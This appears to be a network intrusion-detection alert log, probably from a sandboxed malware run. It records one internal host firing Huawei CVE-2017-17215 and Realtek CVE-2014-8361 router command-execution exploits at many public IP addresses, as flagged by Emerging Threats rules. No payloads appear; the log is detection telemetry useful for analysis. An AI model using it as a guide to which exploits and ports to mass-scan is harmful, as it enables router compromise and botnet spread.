07/20/24-23:11:06.688603	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49514	37215	192.168.2.15	147.15.244.149
07/20/24-23:10:46.768902	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52260	37215	192.168.2.15	41.220.204.154
07/20/24-23:10:59.050850	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38294	37215	192.168.2.15	41.237.129.116
07/20/24-23:10:46.756315	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54390	37215	192.168.2.15	157.43.171.195
07/20/24-23:10:52.581805	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39590	37215	192.168.2.15	39.179.230.235
07/20/24-23:10:39.141372	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42866	52869	192.168.2.15	61.53.244.138
07/20/24-23:10:55.999553	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46812	37215	192.168.2.15	197.34.161.2
07/20/24-23:10:41.227634	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47358	37215	192.168.2.15	85.117.223.133
07/20/24-23:10:49.421978	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54308	37215	192.168.2.15	113.218.100.147
07/20/24-23:10:39.181280	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41986	52869	192.168.2.15	102.119.6.178
07/20/24-23:10:40.373501	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54092	52869	192.168.2.15	13.3.106.56
07/20/24-23:10:43.416892	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34096	52869	192.168.2.15	210.237.234.110
07/20/24-23:10:41.220760	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38648	37215	192.168.2.15	197.216.232.236
07/20/24-23:10:59.023708	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45402	37215	192.168.2.15	157.167.57.151
07/20/24-23:10:51.940743	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33696	52869	192.168.2.15	195.250.121.139
07/20/24-23:10:39.155871	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47922	52869	192.168.2.15	73.163.96.192
07/20/24-23:10:55.995070	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43348	37215	192.168.2.15	41.40.87.15
07/20/24-23:10:43.232770	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42922	52869	192.168.2.15	184.222.232.77
07/20/24-23:10:51.928255	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35270	52869	192.168.2.15	210.237.234.110
07/20/24-23:10:51.955739	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40260	52869	192.168.2.15	163.24.64.153
07/20/24-23:10:41.241455	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38824	37215	192.168.2.15	157.231.2.188
07/20/24-23:10:42.636108	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35330	52869	192.168.2.15	211.42.169.91
07/20/24-23:10:40.662520	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57238	37215	192.168.2.15	41.152.10.195
07/20/24-23:10:51.970946	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46124	52869	192.168.2.15	134.173.80.60
07/20/24-23:10:49.395188	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54138	37215	192.168.2.15	221.193.160.174
07/20/24-23:10:49.450306	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38718	37215	192.168.2.15	155.143.68.189
07/20/24-23:10:52.581034	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46262	37215	192.168.2.15	41.185.85.92
07/20/24-23:10:49.420934	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59256	37215	192.168.2.15	197.248.202.177
07/20/24-23:10:51.900658	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35080	52869	192.168.2.15	140.79.132.232
07/20/24-23:11:06.712307	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42490	37215	192.168.2.15	139.102.147.38
07/20/24-23:11:06.680204	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47234	37215	192.168.2.15	197.136.96.121
07/20/24-23:10:49.383600	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59808	37215	192.168.2.15	126.49.153.67
07/20/24-23:10:59.067929	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36858	37215	192.168.2.15	157.12.194.251
07/20/24-23:10:39.841312	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45616	52869	192.168.2.15	223.10.231.163
07/20/24-23:11:06.706527	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54592	37215	192.168.2.15	197.12.117.52
07/20/24-23:10:51.931701	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43816	52869	192.168.2.15	180.55.108.40
07/20/24-23:10:49.428717	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47072	37215	192.168.2.15	197.211.69.116
07/20/24-23:10:51.957772	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59592	52869	192.168.2.15	8.190.85.240
07/20/24-23:10:41.237255	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43204	37215	192.168.2.15	41.27.9.58
07/20/24-23:10:52.558618	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41228	37215	192.168.2.15	157.171.35.211
07/20/24-23:10:59.046417	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42318	37215	192.168.2.15	197.190.120.58
07/20/24-23:10:45.129206	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43422	52869	192.168.2.15	200.10.220.119
07/20/24-23:10:47.971532	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60836	52869	192.168.2.15	154.174.121.129
07/20/24-23:10:40.191614	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46580	52869	192.168.2.15	222.46.101.20
07/20/24-23:10:46.735703	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46766	37215	192.168.2.15	44.174.55.60
07/20/24-23:10:40.601389	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43004	37215	192.168.2.15	65.120.250.13
07/20/24-23:10:46.724339	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38594	37215	192.168.2.15	157.54.166.57
07/20/24-23:11:03.396755	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48434	37215	192.168.2.15	41.156.95.26
07/20/24-23:10:42.632104	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36816	52869	192.168.2.15	197.208.47.186
07/20/24-23:10:49.430121	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42608	37215	192.168.2.15	157.73.165.184
07/20/24-23:10:43.056355	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36418	52869	192.168.2.15	167.160.225.22
07/20/24-23:10:49.428717	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47030	37215	192.168.2.15	197.207.150.154
07/20/24-23:10:55.999553	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45740	37215	192.168.2.15	136.207.85.124
07/20/24-23:10:41.230071	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57010	37215	192.168.2.15	197.4.12.194
07/20/24-23:10:46.795245	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40972	37215	192.168.2.15	157.218.237.79
07/20/24-23:10:46.600005	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43556	52869	192.168.2.15	12.188.91.94
07/20/24-23:10:52.563890	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51038	37215	192.168.2.15	113.169.82.235
07/20/24-23:10:41.233111	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45120	37215	192.168.2.15	41.55.149.13
07/20/24-23:10:44.739577	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55860	52869	192.168.2.15	129.146.5.212
07/20/24-23:10:39.479427	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41170	37215	192.168.2.15	57.196.110.109
07/20/24-23:10:44.798999	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	32798	52869	192.168.2.15	222.79.179.243
07/20/24-23:11:06.689939	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52606	37215	192.168.2.15	157.246.30.254
07/20/24-23:10:51.915608	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47234	52869	192.168.2.15	137.140.74.50
07/20/24-23:10:42.267551	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39138	37215	192.168.2.15	197.162.237.45
07/20/24-23:10:52.016220	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55812	52869	192.168.2.15	116.183.105.217
07/20/24-23:10:59.050850	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33050	37215	192.168.2.15	197.240.225.195
07/20/24-23:10:41.234520	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40388	37215	192.168.2.15	197.98.237.187
07/20/24-23:10:39.478846	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54142	37215	192.168.2.15	197.39.42.138
07/20/24-23:10:59.055793	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35712	37215	192.168.2.15	197.96.72.249
07/20/24-23:10:40.642616	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55746	37215	192.168.2.15	41.46.35.223
07/20/24-23:10:47.599583	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35308	52869	192.168.2.15	132.67.102.180
07/20/24-23:10:46.779706	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47326	37215	192.168.2.15	109.80.96.21
07/20/24-23:10:51.983127	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56518	52869	192.168.2.15	116.208.181.41
07/20/24-23:10:43.064770	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47902	52869	192.168.2.15	146.67.192.198
07/20/24-23:10:52.572631	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55502	37215	192.168.2.15	197.130.206.169
07/20/24-23:10:52.517494	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49566	37215	192.168.2.15	118.16.133.91
07/20/24-23:10:40.604940	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47708	37215	192.168.2.15	157.162.123.109
07/20/24-23:10:52.563890	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33714	37215	192.168.2.15	41.180.31.234
07/20/24-23:10:59.027427	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49736	37215	192.168.2.15	197.128.41.176
07/20/24-23:11:06.696229	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55684	37215	192.168.2.15	157.152.233.155
07/20/24-23:10:41.221769	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45274	37215	192.168.2.15	197.161.254.255
07/20/24-23:10:42.632104	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57850	52869	192.168.2.15	91.159.64.203
07/20/24-23:10:39.828524	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46618	52869	192.168.2.15	1.160.86.11
07/20/24-23:10:39.497131	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39504	37215	192.168.2.15	41.52.21.44
07/20/24-23:10:51.917508	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36226	52869	192.168.2.15	97.164.50.55
07/20/24-23:10:46.779706	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45910	37215	192.168.2.15	157.138.33.16
07/20/24-23:10:46.735703	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57768	37215	192.168.2.15	45.143.106.52
07/20/24-23:10:42.273908	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40564	37215	192.168.2.15	74.208.48.243
07/20/24-23:11:06.686627	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51086	37215	192.168.2.15	157.104.176.136
07/20/24-23:10:39.089913	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47418	52869	192.168.2.15	17.198.192.63
07/20/24-23:10:51.948284	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36830	52869	192.168.2.15	129.202.137.125
07/20/24-23:10:40.656564	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43508	37215	192.168.2.15	41.29.68.15
07/20/24-23:10:51.970945	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34002	52869	192.168.2.15	132.70.73.95
07/20/24-23:10:51.940556	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39804	52869	192.168.2.15	18.208.103.195
07/20/24-23:10:56.021160	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34424	37215	192.168.2.15	157.8.173.238
07/20/24-23:10:56.046357	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42522	37215	192.168.2.15	25.93.29.118
07/20/24-23:10:39.430384	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60270	37215	192.168.2.15	41.114.206.140
07/20/24-23:10:40.616009	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60454	37215	192.168.2.15	157.76.73.5
07/20/24-23:10:41.220792	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34304	37215	192.168.2.15	208.220.26.36
07/20/24-23:10:42.263488	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51084	37215	192.168.2.15	197.115.192.209
07/20/24-23:10:59.021280	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34280	37215	192.168.2.15	41.63.123.35
07/20/24-23:11:06.662677	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47192	37215	192.168.2.15	146.152.172.252
07/20/24-23:10:41.232384	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50842	37215	192.168.2.15	54.103.253.49
07/20/24-23:10:47.766015	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35640	52869	192.168.2.15	68.232.135.127
07/20/24-23:10:42.267551	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58026	37215	192.168.2.15	157.59.86.95
07/20/24-23:11:06.662677	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52308	37215	192.168.2.15	41.175.146.33
07/20/24-23:10:56.011228	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43404	37215	192.168.2.15	196.232.84.109
07/20/24-23:10:41.232384	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49206	37215	192.168.2.15	61.39.146.236
07/20/24-23:10:39.434124	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51100	37215	192.168.2.15	197.12.49.40
07/20/24-23:10:42.625971	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39152	52869	192.168.2.15	37.21.17.204
07/20/24-23:10:49.404246	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33014	37215	192.168.2.15	157.16.55.119
07/20/24-23:10:42.639392	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36760	52869	192.168.2.15	166.167.121.109
07/20/24-23:10:49.398416	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36422	37215	192.168.2.15	197.229.194.177
07/20/24-23:10:49.404246	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37082	37215	192.168.2.15	157.186.57.123
07/20/24-23:10:51.948284	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36802	52869	192.168.2.15	206.250.243.12
07/20/24-23:10:41.232384	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35796	37215	192.168.2.15	157.219.171.239
07/20/24-23:10:40.148951	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47828	52869	192.168.2.15	96.224.29.242
07/20/24-23:11:06.663147	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46230	37215	192.168.2.15	41.41.7.220
07/20/24-23:10:39.473748	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41076	37215	192.168.2.15	197.36.183.119
07/20/24-23:10:46.711367	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40574	37215	192.168.2.15	157.49.218.96
07/20/24-23:10:39.486941	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55552	37215	192.168.2.15	83.35.196.3
07/20/24-23:10:39.478846	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38488	37215	192.168.2.15	41.135.228.141
07/20/24-23:10:56.002189	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54144	37215	192.168.2.15	197.125.126.1
07/20/24-23:10:59.021280	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56238	37215	192.168.2.15	157.187.86.221
07/20/24-23:10:46.778936	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51900	37215	192.168.2.15	41.8.88.232
07/20/24-23:10:49.370142	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48526	37215	192.168.2.15	95.251.22.29
07/20/24-23:10:51.896724	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33996	52869	192.168.2.15	221.199.80.98
07/20/24-23:11:03.310024	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59522	37215	192.168.2.15	157.151.76.227
07/20/24-23:10:39.437234	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35152	37215	192.168.2.15	41.244.25.122
07/20/24-23:11:06.688603	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52860	37215	192.168.2.15	197.21.128.144
07/20/24-23:10:42.273908	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53108	37215	192.168.2.15	65.246.66.79
07/20/24-23:10:56.002190	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46568	37215	192.168.2.15	197.218.146.50
07/20/24-23:10:41.232384	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38498	37215	192.168.2.15	157.72.216.186
07/20/24-23:10:49.377081	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43078	37215	192.168.2.15	41.233.118.212
07/20/24-23:10:51.931701	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45468	52869	192.168.2.15	12.188.91.94
07/20/24-23:11:03.368250	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47228	37215	192.168.2.15	41.252.49.118
07/20/24-23:10:51.898652	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57802	52869	192.168.2.15	141.170.58.184
07/20/24-23:10:42.636108	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51780	52869	192.168.2.15	85.126.23.91
07/20/24-23:10:40.649804	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52060	37215	192.168.2.15	157.83.157.193
07/20/24-23:10:46.940043	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39288	52869	192.168.2.15	61.200.31.129
07/20/24-23:11:03.402557	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52402	37215	192.168.2.15	41.139.30.10
07/20/24-23:10:43.899907	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60860	52869	192.168.2.15	12.15.153.124
07/20/24-23:11:03.368250	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36888	37215	192.168.2.15	157.249.144.129
07/20/24-23:10:39.430692	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58302	37215	192.168.2.15	197.130.106.175
07/20/24-23:10:52.006529	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34324	52869	192.168.2.15	103.118.11.148
07/20/24-23:10:52.598915	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47522	37215	192.168.2.15	217.55.96.198
07/20/24-23:11:06.706527	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55676	37215	192.168.2.15	197.137.59.221
07/20/24-23:10:39.469559	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43856	37215	192.168.2.15	41.109.172.235
07/20/24-23:10:47.923877	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59786	52869	192.168.2.15	86.217.29.78
07/20/24-23:10:47.624071	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35990	52869	192.168.2.15	48.171.160.205
07/20/24-23:11:03.382352	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37246	37215	192.168.2.15	183.71.151.25
07/20/24-23:10:42.619618	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47392	52869	192.168.2.15	5.162.60.136
07/20/24-23:10:39.497131	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33952	37215	192.168.2.15	184.222.40.221
07/20/24-23:10:51.940105	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45534	52869	192.168.2.15	57.98.148.229
07/20/24-23:10:51.966762	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34962	52869	192.168.2.15	46.156.254.69
07/20/24-23:10:56.007995	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39892	37215	192.168.2.15	157.205.90.145
07/20/24-23:10:47.580964	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49796	52869	192.168.2.15	185.140.178.36
07/20/24-23:10:46.809208	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57318	37215	192.168.2.15	157.202.234.239
07/20/24-23:10:55.979374	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49654	37215	192.168.2.15	41.179.65.72
07/20/24-23:10:42.248391	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45914	37215	192.168.2.15	141.79.176.187
07/20/24-23:10:49.445760	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44468	37215	192.168.2.15	157.96.146.83
07/20/24-23:10:41.222356	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46766	37215	192.168.2.15	197.127.119.138
07/20/24-23:10:39.485535	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52820	37215	192.168.2.15	197.1.29.38
07/20/24-23:10:59.046417	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55106	37215	192.168.2.15	120.36.165.204
07/20/24-23:10:44.589945	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35676	52869	192.168.2.15	1.209.39.62
07/20/24-23:10:49.370142	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54374	37215	192.168.2.15	12.48.52.3
07/20/24-23:10:43.534202	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41482	52869	192.168.2.15	161.174.65.14
07/20/24-23:10:52.021884	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41142	52869	192.168.2.15	104.87.188.192
07/20/24-23:11:03.406798	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53718	37215	192.168.2.15	41.172.226.166
07/20/24-23:10:52.569477	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46682	37215	192.168.2.15	157.197.250.97
07/20/24-23:10:42.263488	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55546	37215	192.168.2.15	41.57.221.248
07/20/24-23:10:49.355429	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46198	37215	192.168.2.15	157.74.90.50
07/20/24-23:10:51.926807	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47144	52869	192.168.2.15	162.136.177.252
07/20/24-23:11:06.676715	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55764	37215	192.168.2.15	41.237.160.19
07/20/24-23:10:51.970585	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49244	52869	192.168.2.15	181.65.248.166
